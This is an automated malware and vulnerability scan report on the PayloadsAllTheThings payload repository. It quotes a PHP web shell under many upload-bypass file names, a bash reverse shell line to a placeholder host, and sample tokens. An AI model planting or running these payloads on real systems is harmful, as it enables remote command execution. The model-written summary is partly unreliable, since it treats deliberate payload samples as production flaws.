Scan report
swisskyrepo / PayloadsAllTheThings
Could an attacker exploit mistakes in this code?
Strong warning signs. Do not run or install this without a careful review.
- High
- 55
- Medium
- 27
- Low
- 8
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Strong warning signs. Do not run or install this without a careful review.
- High
- 48
- Medium
- 0
- Low
- 13
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 63
- Uncertain
- 41
- Likely noise
- 47
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository has been flagged as critical because it contains 151 specific security issues that could be exploited by attackers, with two separate scores indicating high severity: a vulnerability risk score of 465.0 and a malicious-pattern risk score of 151.0. The most serious problems involve command injection vulnerabilities where untrusted user input is used to run arbitrary shell commands, which allows an attacker to execute code on the server. Additionally, there are confirmed instances of reverse shells, credential harvesting attempts, and the use of dangerous tools like phpinfo that expose sensitive system information. While some findings appear to be standard insecure coding practices rather than intentional malicious behavior, the presence of these patterns suggests the codebase is not safe for production use without significant refactoring.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg^shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpeg.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.gif^shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.phtml line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png^shell.php line 1
- Likely real
- Yes, 100% confidence
Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg^shell.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.gif^shell.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpeg.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.phtml line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png^shell.php line 1
- Likely real
- Yes, 99% confidence
Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/hopla_config.json line 1129
- Likely real
- Yes, 99% confidence
Semgrep found a bash reverse shell
"value": "sh -i >& /dev/udp/§IP§/§PORT§ 0>&1", -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 275
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 74
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 250
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 259
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 269
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 272
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 287
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Command Injection/README.md line 281
- Likely real
- Yes, 99% confidence
linux shadow file detected
root:x:0:0:root:/root:/bin/bash -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Server Side Request Forgery/SSRF-Cloud-Instances.md line 210
- Likely real
- Yes, 99% confidence
Google OAuth Access Token detected
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Server Side Request Forgery/SSRF-Cloud-Instances.md line 195
- Likely real
- Yes, 99% confidence
Google OAuth Access Token detected
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA -
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/xss_alert_identifiable.txt
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Phishing.SvgJsPhishing-10044283-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_revshell.jpg
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Exploit.CVE_2021_22204-9911806-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_echo.jpg
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Exploit.CVE_2021_22204-9911806-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/EICAR/eicar.txt
- Likely real
- Yes, 98% confidence
ClamAV detected: Eicar-Signature
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /XSS Injection/README.md
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Phishing.SvgJsPhishing-10044283-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /XSS Injection/2 - XSS Polyglot.md
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Phishing.SvgJsPhishing-10044283-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/IntrudersXSS.txt
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Phishing.SvgJsPhishing-10044283-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/XSS_Polyglots.txt
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Phishing.SvgJsPhishing-10044283-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/JHADDIX_XSS.txt
- Likely real
- Yes, 98% confidence
ClamAV detected: Img.Phishing.SvgJsPhishing-10044283-0
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Insecure Source Code Management/Files/github-dorks.txt line 257
- Likely real
- Yes, 52% confidence
Generic API Key detected
BLUEMIX_API_KEY= UzhH1VoXksrNQkFfc78sGxD0VzLygdDJ7RmkZPeBiHfX1yilToi1yrlRzRDLo46LvSEEiawhTa1i9W3UGr3p4LNxOxJr9tR9AjUuIlP21VEooikAhRf35qK0= -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Web Sockets/README.md line 110
- Likely real
- Yes, 51% confidence
Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/phpinfo.jpg.php line 1
- Likely real
- Yes, 50% confidence
The 'phpinfo' function may reveal sensitive information about your environment.
<?php phpinfo(); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/phpinfo.php line 1
- Likely real
- Yes, 50% confidence
The 'phpinfo' function may reveal sensitive information about your environment.
<?php phpinfo(); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/phpinfo.phtml line 1
- Likely real
- Yes, 50% confidence
The 'phpinfo' function may reveal sensitive information about your environment.
<?php phpinfo(); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 38
- Likely real
- Uncertain, 50% confidence
JWT token detected
Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 124
- Likely real
- Uncertain, 50% confidence
JWT token detected
Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 177
- Likely real
- Uncertain, 50% confidence
JWT token detected
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 232
- Likely real
- Uncertain, 50% confidence
JWT token detected
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 247
- Likely real
- Uncertain, 50% confidence
JWT token detected
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 307
- Likely real
- Uncertain, 50% confidence
JWT token detected
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 308
- Likely real
- Uncertain, 50% confidence
JWT token detected
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 336
- Likely real
- Uncertain, 50% confidence
JWT token detected
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 376
- Likely real
- Uncertain, 50% confidence
JWT token detected
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 377
- Likely real
- Uncertain, 50% confidence
JWT token detected
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 380
- Likely real
- Uncertain, 50% confidence
JWT token detected
- Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 381
- Likely real
- Uncertain, 50% confidence
JWT token detected
- Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 382
- Likely real
- Uncertain, 50% confidence
JWT token detected
- Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 383
- Likely real
- Uncertain, 50% confidence
JWT token detected
- Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /JSON Web Token/README.md line 384
- Likely real
- Uncertain, 50% confidence
JWT token detected
- Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.gif^shell.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpeg.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.jpg^shell.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.phtml line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Upload Insecure Files/Extension PHP/shell.png^shell.php line 1
- Likely real
- Uncertain, 43% confidence
Executing non-constant commands. This can lead to command injection.
<?php echo "Shell";system($_GET['cmd']); ?> -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /CVE Exploits/README.md
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_imageover_reverse_shell_devtcp.jpg
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_revshell.jpg
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /.github/hopla_config.json
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Server Side Template Injection/Python.md
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Server Side Template Injection/Intruder/ssti.fuzz
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Prototype Pollution/README.md
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /SQL Injection/SQLite Injection.md
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /SQL Injection/PostgreSQL Injection.md
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/README.md
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture ImageMagick/imagemagik_ghostscript_reverse_shell.jpg
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Upload Insecure Files/Picture ImageMagick/imagetragik2_ubuntu_shell2.jpg
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Command Injection/Intruder/command_exec.txt
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/LFI-to-RCE.md
- Likely real
- Uncertain, 33% confidence
YARA rule matched: detect_credential_harvester — References credential/secret material by name AND a deliberate outbound-send API in the same file - narrower than \'reads any env var\', which large legitimate codebases do constantly regardless of intent. Still not proof the two are connected (YARA can\'t trace data flow) - a known limitation, see NOTES.md
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /.github/hopla_config.json
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Intruders/List_Of_File_To_Include.txt
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Intruders/LFI-FD-check.txt
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Wrappers.md
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/IntrudersXSS.txt
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/Intruders/BRUTELOGIC-XSS-STRINGS.txt
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /XSS Injection/1 - XSS Filter Bypass.md
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/LFI-to-RCE.md
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Command Injection/Intruder/command_exec.txt
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /File Inclusion/Wrappers.md
- Likely real
- Probably noise, 1% confidence
